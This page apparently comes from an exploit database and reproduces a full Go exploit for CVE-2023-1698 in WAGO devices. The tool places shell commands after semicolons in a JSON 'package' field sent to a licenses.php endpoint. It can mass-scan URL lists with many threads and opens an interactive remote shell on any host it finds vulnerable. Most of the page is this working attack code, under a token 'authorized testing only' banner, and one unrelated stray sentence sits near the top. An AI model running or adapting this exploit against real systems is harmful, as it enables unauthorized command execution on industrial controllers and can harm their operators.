Lucene search
K

📄 WAGO Remote Code Execution

🗓️ 16 Jun 2025 00:00:00Reported by IbrahimsqlType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 130 Views

Please provide the list of items to process as objects with id and description.

Related
Code
package main
    
    import (
    	"bufio"
    	"bytes"
    	"crypto/tls"
    	"encoding/json"
    	"flag"
    	"fmt"
    	"io"
    	"net/http"
    	"os"
    	"regexp"
    	"strings"
    	"sync"
    	"time"
    )
    
    const (
    	// ANSI color codes
    	ColorReset  = "\033[0m"
    	ColorRed    = "\033[31m"
    	ColorGreen  = "\033[32m"
    	ColorYellow = "\033[33m"
    	ColorBlue   = "\033[34m"
    	ColorPurple = "\033[35m"
    	ColorCyan   = "\033[36m"
    	ColorWhite  = "\033[37m"
    
    	Developer = "İbrahimsql"
    )
    
    type Payload struct {
    	Package string `json:"package"`
    }
    
    type Config struct {
    	URL       string
    	URLList   string
    	Output    string
    	Threads   int
    	Timeout   int
    	Verbose   bool
    	Command   string
    	NoColor   bool
    	UserAgent string
    }
    
    type Result struct {
    	URL        string
    	Vulnerable bool
    	Output     string
    	Error      error
    }
    
    var (
    	mu sync.Mutex
    	wg sync.WaitGroup
    )
    
    func main() {
    	printBanner()
    
    	var config Config
    
    	flag.StringVar(&config.URL, "u", "", "Target URL to test")
    	flag.StringVar(&config.URL, "url", "", "Target URL to test")
    	flag.StringVar(&config.URLList, "l", "", "File containing list of URLs to test")
    	flag.StringVar(&config.URLList, "list", "", "File containing list of URLs to test")
    	flag.StringVar(&config.Output, "o", "", "Output file for vulnerable URLs")
    	flag.StringVar(&config.Output, "output", "", "Output file for vulnerable URLs")
    	flag.IntVar(&config.Threads, "t", 10, "Number of concurrent threads")
    	flag.IntVar(&config.Threads, "threads", 10, "Number of concurrent threads")
    	flag.IntVar(&config.Timeout, "timeout", 10, "HTTP request timeout in seconds")
    	flag.StringVar(&config.Command, "c", "id", "Command to execute (default: id)")
    	flag.StringVar(&config.Command, "cmd", "id", "Command to execute (default: id)")
    	flag.BoolVar(&config.Verbose, "v", false, "Verbose output")
    	flag.BoolVar(&config.Verbose, "verbose", false, "Verbose output")
    	flag.BoolVar(&config.NoColor, "no-color", false, "Disable colored output")
    	flag.StringVar(&config.UserAgent, "ua", "Mozilla/5.0 (compatible; CVE-2023-1698-Scanner)", "Custom User-Agent")
    
    	flag.Usage = func() {
    		fmt.Printf("CVE-2023-1698 Scanner v%s - WAGO RCE Exploit\n\n")
    		fmt.Println("Usage:")
    		fmt.Printf("  %s [OPTIONS]\n\n", os.Args[0])
    		fmt.Println("Options:")
    		flag.PrintDefaults()
    		fmt.Println("\nExamples:")
    		fmt.Printf("  %s -u http://target.com\n", os.Args[0])
    		fmt.Printf("  %s -l urls.txt -o vulnerable.txt -t 20\n", os.Args[0])
    		fmt.Printf("  %s -u http://target.com -c \"whoami\" -v\n", os.Args[0])
    	}
    
    	flag.Parse()
    
    	if config.URL == "" && config.URLList == "" {
    		fmt.Println(colorize(ColorRed, "[!] Error: Either -u/--url or -l/--list must be specified", config.NoColor))
    		flag.Usage()
    		return
    	}
    
    	if config.URL != "" {
    		// Single URL mode
    		result := scanSingleURL(config.URL, config)
    		if result.Vulnerable {
    			fmt.Printf("%s[+] %s is VULNERABLE!%s\n",
    				colorize(ColorRed, "", config.NoColor), config.URL, ColorReset)
    			if result.Output != "" {
    				fmt.Printf("%s[*] Command Output:%s %s\n",
    					colorize(ColorBlue, "", config.NoColor), ColorReset, result.Output)
    			}
    
    			// Interactive shell
    			startInteractiveShell(config.URL, config)
    		} else {
    			fmt.Printf("%s[+] %s is not vulnerable%s\n",
    				colorize(ColorGreen, "", config.NoColor), config.URL, ColorReset)
    		}
    	} else {
    		// Bulk URL mode
    		scanURLList(config.URLList, config)
    	}
    }
    
    func printBanner() {
    	fmt.Printf("%sCVE-2023-1698 Scanner%s - WAGO Remote Code Execution | Developer: %s%s%s\n",
    		ColorCyan, ColorReset, ColorPurple, Developer, ColorReset)
    	fmt.Printf("For authorized testing only%s\n\n", ColorYellow, ColorReset)
    }
    
    func colorize(color, text string, noColor bool) string {
    	if noColor {
    		return text
    	}
    	return color + text
    }
    
    func createHTTPClient(timeout int) *http.Client {
    	return &http.Client{
    		Timeout: time.Duration(timeout) * time.Second,
    		Transport: &http.Transport{
    			TLSClientConfig: &tls.Config{
    				InsecureSkipVerify: true,
    			},
    			MaxIdleConns:        100,
    			MaxIdleConnsPerHost: 10,
    		},
    	}
    }
    
    func sendRequest(baseURL, command string, config Config) (*http.Response, error) {
    	// Enhanced payload construction
    	payload := Payload{
    		Package: fmt.Sprintf(";echo -n '[PWNED_START]';%s;echo -n '[PWNED_END]';#", command),
    	}
    
    	jsonData, err := json.Marshal(payload)
    	if err != nil {
    		return nil, fmt.Errorf("JSON marshal error: %v", err)
    	}
    
    	// Target endpoint
    	targetURL := fmt.Sprintf("%s/wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php",
    		strings.TrimSuffix(baseURL, "/"))
    
    	client := createHTTPClient(config.Timeout)
    
    	req, err := http.NewRequest("POST", targetURL, bytes.NewBuffer(jsonData))
    	if err != nil {
    		return nil, fmt.Errorf("request creation error: %v", err)
    	}
    
    	// Enhanced headers to bypass simple filters
    	req.Header.Set("Content-Type", "application/json")
    	req.Header.Set("User-Agent", config.UserAgent)
    	req.Header.Set("Accept", "*/*")
    	req.Header.Set("Accept-Language", "en-US,en;q=0.9")
    	req.Header.Set("Accept-Encoding", "gzip, deflate")
    	req.Header.Set("Connection", "keep-alive")
    
    	if config.Verbose {
    		fmt.Printf("%s[DEBUG] Sending request to: %s%s\n",
    			colorize(ColorYellow, "", config.NoColor), targetURL, ColorReset)
    		fmt.Printf("%s[DEBUG] Payload: %s%s\n",
    			colorize(ColorYellow, "", config.NoColor), string(jsonData), ColorReset)
    	}
    
    	return client.Do(req)
    }
    
    func checkVulnerability(url string, response *http.Response, config Config) (bool, string, error) {
    	if response == nil {
    		return false, "", fmt.Errorf("nil response")
    	}
    
    	body, err := io.ReadAll(response.Body)
    	if err != nil {
    		return false, "", fmt.Errorf("failed to read response body: %v", err)
    	}
    	defer response.Body.Close()
    
    	responseText := strings.ReplaceAll(string(body), "\\/", "/")
    
    	if config.Verbose {
    		fmt.Printf("%s[DEBUG] Response Status: %d%s\n",
    			colorize(ColorYellow, "", config.NoColor), response.StatusCode, ColorReset)
    		fmt.Printf("%s[DEBUG] Response Body (first 200 chars): %s%s\n",
    			colorize(ColorYellow, "", config.NoColor),
    			truncateString(responseText, 200), ColorReset)
    	}
    
    	// Enhanced pattern matching
    	patterns := []string{
    		`\[PWNED_START\](.*?)\[PWNED_END\]`, // Primary pattern
    		`\[S\](.*?)\[E\]`,                   // Fallback pattern
    	}
    
    	for _, patternStr := range patterns {
    		pattern := regexp.MustCompile(patternStr)
    		matches := pattern.FindStringSubmatch(responseText)
    
    		if len(matches) > 1 {
    			extractedContent := strings.TrimSpace(matches[1])
    
    			// Validate that we got actual command output
    			if extractedContent != "" && !strings.Contains(extractedContent, "error") {
    				return true, extractedContent, nil
    			}
    		}
    	}
    
    	// Additional checks for different response patterns
    	if strings.Contains(responseText, "uid=") ||
    		strings.Contains(responseText, "gid=") ||
    		strings.Contains(responseText, "root") {
    		return true, "Command executed successfully (detected uid/gid pattern)", nil
    	}
    
    	return false, "", nil
    }
    
    func scanSingleURL(url string, config Config) Result {
    	if config.Verbose {
    		fmt.Printf("%s[INFO] Scanning: %s%s\n",
    			colorize(ColorBlue, "", config.NoColor), url, ColorReset)
    	}
    
    	response, err := sendRequest(url, config.Command, config)
    	if err != nil {
    		return Result{
    			URL:        url,
    			Vulnerable: false,
    			Error:      err,
    		}
    	}
    
    	vulnerable, output, err := checkVulnerability(url, response, config)
    
    	return Result{
    		URL:        url,
    		Vulnerable: vulnerable,
    		Output:     output,
    		Error:      err,
    	}
    }
    
    func scanURLList(filename string, config Config) {
    	file, err := os.Open(filename)
    	if err != nil {
    		fmt.Printf("%s[!] Error opening file: %v%s\n",
    			colorize(ColorRed, "", config.NoColor), err, ColorReset)
    		return
    	}
    	defer file.Close()
    
    	var urls []string
    	scanner := bufio.NewScanner(file)
    	for scanner.Scan() {
    		url := strings.TrimSpace(scanner.Text())
    		if url != "" && !strings.HasPrefix(url, "#") {
    			urls = append(urls, url)
    		}
    	}
    
    	if len(urls) == 0 {
    		fmt.Printf("%s[!] No valid URLs found in file%s\n",
    			colorize(ColorRed, "", config.NoColor), ColorReset)
    		return
    	}
    
    	fmt.Printf("%s[INFO] Loaded %d URLs for scanning%s\n",
    		colorize(ColorBlue, "", config.NoColor), len(urls), ColorReset)
    
    	// Create channels for URL processing
    	urlChan := make(chan string, len(urls))
    	resultChan := make(chan Result, len(urls))
    
    	// Start workers
    	for i := 0; i < config.Threads; i++ {
    		wg.Add(1)
    		go worker(urlChan, resultChan, config)
    	}
    
    	// Send URLs to workers
    	for _, url := range urls {
    		urlChan <- url
    	}
    	close(urlChan)
    
    	// Collect results
    	go func() {
    		wg.Wait()
    		close(resultChan)
    	}()
    
    	var vulnerableCount int
    	var outputFile *os.File
    
    	if config.Output != "" {
    		outputFile, err = os.Create(config.Output)
    		if err != nil {
    			fmt.Printf("%s[!] Error creating output file: %v%s\n",
    				colorize(ColorRed, "", config.NoColor), err, ColorReset)
    		} else {
    			defer outputFile.Close()
    		}
    	}
    
    	for result := range resultChan {
    		if result.Error != nil {
    			if config.Verbose {
    				fmt.Printf("%s[ERROR] %s: %v%s\n",
    					colorize(ColorRed, "", config.NoColor), result.URL, result.Error, ColorReset)
    			}
    			continue
    		}
    
    		if result.Vulnerable {
    			vulnerableCount++
    			fmt.Printf("%s[+] VULNERABLE: %s%s\n",
    				colorize(ColorRed, "", config.NoColor), result.URL, ColorReset)
    
    			if result.Output != "" {
    				fmt.Printf("%s[*] Output: %s%s\n",
    					colorize(ColorBlue, "", config.NoColor), result.Output, ColorReset)
    			}
    
    			if outputFile != nil {
    				outputFile.WriteString(result.URL + "\n")
    			}
    		} else if config.Verbose {
    			fmt.Printf("%s[+] Safe: %s%s\n",
    				colorize(ColorGreen, "", config.NoColor), result.URL, ColorReset)
    		}
    	}
    
    	fmt.Printf("\n%s[SUMMARY] Scan completed. Found %d vulnerable targets out of %d total%s\n",
    		colorize(ColorCyan, "", config.NoColor), vulnerableCount, len(urls), ColorReset)
    }
    
    func worker(urlChan <-chan string, resultChan chan<- Result, config Config) {
    	defer wg.Done()
    
    	for url := range urlChan {
    		result := scanSingleURL(url, config)
    		resultChan <- result
    	}
    }
    
    func startInteractiveShell(url string, config Config) {
    	fmt.Printf("\n%s[!] Starting interactive shell...%s\n",
    		colorize(ColorCyan, "", config.NoColor), ColorReset)
    	fmt.Printf("%s[!] Type 'exit' or 'quit' to quit%s\n",
    		colorize(ColorCyan, "", config.NoColor), ColorReset)
    	fmt.Printf("%s[!] Type 'clear' to clear screen%s\n",
    		colorize(ColorCyan, "", config.NoColor), ColorReset)
    
    	reader := bufio.NewReader(os.Stdin)
    
    	for {
    		fmt.Printf("%s# %s", colorize(ColorCyan, "", config.NoColor), ColorReset)
    
    		command, err := reader.ReadString('\n')
    		if err != nil {
    			fmt.Printf("%s[!] Error reading input: %v%s\n",
    				colorize(ColorRed, "", config.NoColor), err, ColorReset)
    			break
    		}
    
    		command = strings.TrimSpace(command)
    
    		if command == "" {
    			continue
    		}
    
    		if command == "exit" || command == "quit" {
    			fmt.Printf("%s[!] Exiting shell...%s\n",
    				colorize(ColorGreen, "", config.NoColor), ColorReset)
    			break
    		}
    
    		if command == "clear" {
    			fmt.Print("\033[H\033[2J")
    			continue
    		}
    
    		// Execute command
    		response, err := sendRequest(url, command, config)
    		if err != nil {
    			fmt.Printf("%s[!] Command execution failed: %v%s\n",
    				colorize(ColorRed, "", config.NoColor), err, ColorReset)
    			continue
    		}
    
    		vulnerable, output, err := checkVulnerability(url, response, config)
    		if err != nil {
    			fmt.Printf("%s[!] Error processing response: %v%s\n",
    				colorize(ColorRed, "", config.NoColor), err, ColorReset)
    			continue
    		}
    
    		if vulnerable && output != "" {
    			fmt.Printf("%s\n", output)
    		} else {
    			fmt.Printf("%s[!] No output or command failed%s\n",
    				colorize(ColorYellow, "", config.NoColor), ColorReset)
    		}
    	}
    }
    
    func truncateString(s string, maxLen int) string {
    	if len(s) <= maxLen {
    		return s
    	}
    	return s[:maxLen] + "..."
    }

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jun 2025 00:00Current
8.4High risk
Vulners AI Score8.4
CVSS 3.19.8
EPSS0.94026
SSVC
130